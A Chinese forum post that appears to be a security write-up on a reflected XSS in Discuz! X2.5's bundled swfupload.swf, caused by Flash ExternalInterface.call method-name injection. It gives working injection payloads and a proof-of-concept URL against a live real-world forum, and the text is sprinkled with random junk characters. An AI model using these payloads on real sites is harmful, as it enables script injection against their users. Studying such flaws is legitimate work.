找回密码
 立即注册
查看: 2928|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
上回我们说7 r9 l; a. x1 Y' e0 F

3 q9 l0 _9 g4 Q, A7 ~" [flash.external.ExternalInterface.call($methodName, $parameter)$ r- f( _8 F8 K# c  U8 O
在浏览器中执行的是
! |' W* V: e0 e% e# B8 I8 i5 A+ d0 ~% d
* D- s. a& g1 Xtry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
+ |" J3 i" B) _) I对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如7 m/ P$ m7 i5 W0 M3 z
' S+ K, b/ y( C/ S' V! Y# n* X& m0 A
flash.external.ExternalInterface.call("object."+$methodName, $parameter)$ Q5 }5 _7 @% J, R6 x) I3 F" D
$methodName = a())}catch(e){alert(/xss/)}//
+ [1 K8 {# `$ }( _4 F+ ^! ^结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。: i" k" N4 @; W7 o4 F
' y! r: }5 P6 x7 N* s5 b/ w( C6 b1 d
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }0 i/ n, D4 F- E: h2 U
( [9 {# h( }6 M% a) a9 a7 \+ [
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS ). c/ o, Y* U4 z- K5 U
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
$ S# ~! e& V  }8 c) _! _
+ h. J% a2 j2 e4 N# y( \: W
! _/ `! V5 x& m; X/ i
" z1 S0 N1 _  Q* b* r! \4 }漏洞文件:upload\static\image\common\swfupload.swf; y/ `* B3 x4 p# A- s  b) N  h
% O6 W* o9 ]7 R  f" h: w2 ~
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf, ~& h" N9 J1 a6 u# r* G( ]
4 V7 S) y" z6 V4 l
: V7 k- C  _) Q
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
0 y6 B" @. b1 z2 o' V; @5 f3 `6 a( l, z3 l3 p. f( w5 w! ~
% L$ ]4 c* l( Z& l
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表